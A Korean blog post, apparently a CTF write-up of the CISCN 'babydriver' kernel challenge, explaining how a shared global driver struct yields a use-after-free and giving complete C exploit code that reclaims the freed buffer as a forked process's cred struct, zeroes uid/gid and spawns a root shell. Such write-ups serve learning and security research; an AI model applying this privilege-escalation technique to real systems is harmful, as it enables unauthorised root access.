티스토리 뷰

카테고리 없음

ciscn ctf - babydriver

mhibio 2020. 1. 27. 02:58

CISCN ctf - babydriver

오랜만에 잡아보는 kernel문제임미다.

어제는 문제하나 만드느라 1일 1pwn 패스~

binary summary

  • shippppppppppppppp tric~

  • fork() -> copy_creds() -> prepare_creds -> kmem_cache_alloc()

  • cred <= uaf


대충 fork()함수는 내부에서 cred정보를 잠깐 관리하기 위해서 168 bytes만큼할당한다.

이떄 babydev드라이버는 내맘대로 kmalloc ,kfree를 할 수 있게해주니까 익스를 해보자


babydev_struct

드라이버 관리를 위해서 babydef_struct라는 전역변수에 존재하는 구조체를 사용한다.


다음과 같다.


open


드라이버를 oepn하면 다음함수가 실행된다.

device_buf에는 kmalloc을 하고 주소를 저장하고,

device_buf_len에는 할당한 크기(64)를 저장한다.


kmalloc

kernel에다가 heap을 할당하는 함수인 kmalloc을 실행하면, 경우에 따라 두가지 함수가 호출된다.

  • kmalloc_index() => 메모리 할당 사이즈에 맞는 kmalloc슬랩 캐시 인덱스를 선택하는 방법

  • kmema_cache_alloc_trace() => 직접 주소와 사이즈를 주는 방법


쉽게 말해서 실제로 할당하는 루틴이 있는 부분은 저 두함수다.

알고가면 좋을 것 같아서 적는다.


release


close할때는 그냥 device_buf안에 있는 함수를 kfree해준다.


ioctl


두번째 인자로 command, 3번째

인자로 size를 주면 이전 device_bufkfree하고 size만큼 새로 할당해준다.


write

할당되고 관리되는 heap buf가 존재할 경우 && 세번째 인자가 buf의 크기보다 작을경우,

두번째 인자의 내용을 heap bufcopy해준다.


read


할당되고 관리되는 heap buf가 존재할 경우 && 세번째 인자가 buf의 크기보다 작을경우,

heap buffer에 존재하는 내용을 유저에게 보여준다.


Exploit

우선 kernel cred struct168bytes의 크기를 가진다.

즉, kernel heap영역에 168bytesfree된 공간이 존재한다면, kmalloc함수에 따라서 해당 공간이 재사용될 가능성이있다.


fork()

위에서 정리한것과 같이 fork()함수는 최종적으로 kmem_cache_alloc함수를 사용한다.

이는 위에서 선언하고 해제한 공간을 사용할 수 있다.


uaf

우선 저 드라이버를 관리할 구조체는 전역변수에 딱 한개 존재한다.

하지만 드라이버는 몇개씩 열수가 있다.

게다가 kmem_cache_alloc_trace함수는 지정된 주소에다가 할당을 받기때문에

드라이버를 2번 open한다면?


두 전역변수는 같은 주소를 가르킬 것이며, 이는 uaf가 터진다는것을 뜻한다.

=> cred 구조체 수정 가능


cred

cred struct는 총 168byte이지만, 우리는 uid, gid만 변경하고, systemI("/bin/sh")을 하면 되니까

NULL은 28개 정도 넣어주자.


Exploit Code

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>

#define command 65537

int main()
{
int baby_one = open("/dev/babydev", O_RDWR);
int baby_two = open("/dev/babydev", O_RDWR);

char fake[30] = {0};

ioctl(baby_one, command, 168);
close(baby_one);

int pid = fork();

if(pid < 0)
{
exit(-1);
}

else if(pid == 0) {

write(baby_two, fake, 28);

sleep(1);
system("/bin/sh");

exit(-1);
}

else {
printf("No pid : %d", pid);
wait(0);
}

close(baby_two);
return 0;
}

rop + r2user기법도 가능하다고 하니, 풀어봐야겠다.

댓글
댓글쓰기 폼
공지사항
Total
7,553
Today
0
Yesterday
4
TAG
more
«   2022/01   »
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31          
글 보관함